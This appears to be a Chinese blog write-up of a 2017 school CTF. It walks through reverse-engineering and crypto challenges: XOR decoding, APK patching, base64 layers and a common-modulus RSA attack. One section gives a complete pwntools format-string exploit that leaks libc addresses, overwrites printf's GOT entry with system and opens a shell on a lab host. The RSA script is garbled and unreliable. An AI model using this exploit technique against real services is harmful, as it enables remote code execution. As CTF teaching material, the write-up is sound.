校赛Reverse&Crypto writeup

2017.12.2日举办的校赛圆满结束,整理一下我们小组出的逆向和密码学的writeup

Reverse

简单的Re

这道真的很简单,我们直接IDA内一顿操作,找到关键地方,如下图所示:

正确flag与0x53异或一下得到的结果就是程序内的自带数据,不多做解释。

a=[53,63,50,52,40,1,96,37,54,103,32,58,**,**,**,**,32,12,102,60,12,58,61,39,54,97,54,102,39,33,63,61,52,46]
flag=''
for i in range(0,len(a)):
    flag+=chr(a[i]^0x53)
print(flag)

来自计算机七号的挑(song)战(fen)

很有深度的一道题目,IDA看一下

大致逻辑可以看得很清楚,我们输入的flag和7异或后加上7存放于一个数组中,问题在于后面是和什么异或然后和内存数据进行比较的呢?

IDA看不到只能用OD跟踪了。

这里可以看到是和什么异或然后和239之类的数据进行比较的。所以说,我们可以修改跳转把所有的异或数据全部拿出来,最后15个数据为:jblg8DD3qFr04i4

OK,flag就是一个脚本的问题了。

Android_B

一道安卓题目,app就先下载下来玩玩嘛,安装完打开发现页面上有一个按钮,按不了.

题目描述按到就给flag,也不知道是不是骗人,那就试试呗,
程序猿肯定把butto的click功能给false了,那么我们只要找到smail文件的关键位置把false改成true就行了,剩下就是把猜想付诸于行动。

OK改完了,那么我们重新编译然后再安装试试,发现真的给了一串乱码数据,管他呢,试试先,提交乱码的MD5值,Bingo,过了。

破解快乐

打开程序看一看

java写的一个程序,用jd-gui打开源码看看。
主要的程序就是下面四个,其中第二个注意是一个提示的坑,不要踩进去,整理一下逻辑写个脚本结束。




第一幅图的拷贝函数很迷惑人, 看准跳转是关键!
贴下脚本:

def diedai(n):
    if n >2:
        return diedai(n-1)+diedai(n-2)
    else:
        return 1

def change(n,k):
    return diedai(n)%len(k)

if __name__ == '__main__':
    str = "vȾ¤ÊʬÆÆÊv̤ʲʲÀΤ¨¸¬"
    x = []
    for i in range(len(str)):
        x.append(chr((ord(str[i]) >> 1) + 15))
    key=''.join(x)
    s=[]
    z1=0
    for z2 in range(0,4):
        for z3 in range(0,4):
            s.append(key[change(z1+z3,key)])
        z1+=5
    print(s)

Android2

这题给了一个加密文件,一个apk,还是安装看看。


发现里面有两个按钮,一个加密,一个解密,但是解密按完程序就蹦了,只有加密能出东西,而且他里面自己设置了一个类似密钥的东西,那就分析一下代码

关键代码是这一点,解密内没有代码,他的重要操作就是异或,异或可以,但是下面有图片验证,那么我们先把后缀改为图片后缀,然后再次加密,试试看嘛。


OK,加密图片解出来了,大吉大利今晚吃鸡。图片上的base16解密即可。

Maze

这个程序打不开。

提示和数据打打交道,看看Hex

PE头应该在80H处,但是80H处是2333,所以把2333改成PE头就行

OK程序可以打开

其实这个考察也不一定要解开,主要writeup在此:

点我点我

一起来“胖”啊

简单的格式化字符串漏洞,利用漏洞泄漏任意函数的真实地址,然后在lib中找到偏移地址算出system的真实地址,再次利用system,传入/bin/sh参数完成利用

exp:

from pwn import *
\#context.log_level = 'debug'
p = remote("192.168.1.113", 8888)
\#p=process("./pwne")
\# get printf libc addr
printf_got = 0x0804a010
leak_payload = "bb%6$saa" + p32(printf_got)
p.recvuntil("Hello, World\n")
p.sendline(leak_payload)
p.recvuntil("bb")
info = p.recvuntil("aa")[:-2]
print info.encode('hex')
\# get system libc addr
print_addr = u32(info[:4])
print "print_addr:"+hex(print_addr)
\#p_s_offset = 53479     # addr(printf) - addr(system)
printf_offset=0x4D280
system_offset=0x40190
system_addr = print_addr - printf_offset + system_offset
print "systen_addr:"+hex(system_addr)
\# get payload
payload = fmtstr_payload(4, {printf_got: system_addr})
\# send payload
p.recvuntil("Hello, World\n")
p.sendline(payload)
p.sendline('/bin/sh')

p.interactive()

Crypto

密码学100

很简单,凯撒加栅栏的加密,解密一下即可,注意大小写的存在:

先栅栏解密agvb{Tjp_1Mz_X1zQzm}

然后凯撒移位flag{You_1Re_C1eVer}

贝斯家族

根据描述可以知道,flag加密了36次base64,又加密一次base16
脚本:

import base64

f=open("E:\Users\dd.txt",'r')
flag = f.read()
flag = base64.b16decode(flag)
for i in range(36):
   flag=base64.b64decode(flag)

print(flag)

###RSA

  1. 分析流量包提取有用信息:


看到有三个key的压缩包,压缩包可以通过foremost或者binwalk提取出来。

key1:
—–BEGIN PUBLIC KEY—–
MIGAMA0GCSqGSIb3DQEBAQUAA28AMGwCZQCnZIbrdaPobT4Ia+0c3yj+tR7l6prJ
byoeOrDRK5mXyasdn8HSExKeruRFMELsOupuF0Dw15zKzv8+9J+SQjE+7eZ/svRD
C6aPXQZGXKtcMiIqlHa4Q3hI6cw3WFgbYdIlC1OZAgMBAAE=
—–END PUBLIC KEY—–

key2:
—–BEGIN PUBLIC KEY—–
MIGAMA0GCSqGSIb3DQEBAQUAA28AMGwCZQCnZIbrdaPobT4Ia+0c3yj+tR7l6prJ
byoeOrDRK5mXyasdn8HSExKeruRFMELsOupuF0Dw15zKzv8+9J+SQjE+7eZ/svRD
C6aPXQZGXKtcMiIqlHa4Q3hI6cw3WFgbYdIlC1OZAgMBAAM=
—–END PUBLIC KEY—–

还有两个cry的txt需要扣取出来就好。

  1. 分解两个公钥得到不同的两个不同的e和一个相同的n,会玩rsa的就可以知道是共膜攻击。
  2. 写代码,解题再转码转字符得到flag。
    脚本:
    #!/usr/bin/env python3
    # coding:utf-8
    import binascii
    def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:

    raise Exception('modular inverse does not exist')
    

    else:

    return x % m
    

    def egcd(a,b):
    if a==0:

    return (b,0,1)
    

    else:

    g,y,x=egcd(b%a,a)
    return (g,x-(b//a)*y,y)
    

    def main():

    #c1为密文1 c1=2030811156522080479534380585679540224811392358471221121903500951020792730252365410965194272526859671449231195224643995533159581726005071102332599685927429796174012361879498368574822467464773239467267683166997996469735733139730718951657093072
    #c2为密文2

    c2=432349880784956087467730931619622010551468577048036338892145633949921703163476344960761289142596504797262111871151379630491409846619636163453069518097091623785238077044180062258181941690990234123420861146760076308983603961910238392785031770
    #n为模

    n=0xa76486eb75a3e86d3e086bed1cdf28feb51ee5ea9ac96f2a1e3ab0d12b9997c9ab1d9fc1d213129eaee4453042ec3aea6e1740f0d79ccaceff3ef49f9242313eede67fb2f4430ba68f5d06465cab5c32222a9476b8437848e9cc3758581b61d2250b5399

    #egcd()两个参数分别为e1和e2
    s = egcd(65537, 65539)
    s1 = s[1]
    s2 = s[2]
    if s1<0:
    s1 = - s1
    c1 = modinv(c1, n)
    elif s2<0:
    s2 = - s2
    c2 = modinv(c2, n)
    m = (pow(c1,s1,n)*pow(c2,s2,n)) % n
    h = hex(m)[2:-1]
    print binascii.a2b_hex(h)
    if name == ‘main‘:
    main()

4.得到flag:flag{deciphering_is_very_interesting}

文章目录
  1. 1. Reverse
    1. 1.1. 简单的Re
    2. 1.2. 来自计算机七号的挑(song)战(fen)
    3. 1.3. Android_B
    4. 1.4. 破解快乐
    5. 1.5. Android2
    6. 1.6. Maze
    7. 1.7. 一起来“胖”啊
  2. 2. Crypto
    1. 2.1. 密码学100
    2. 2.2. 贝斯家族
|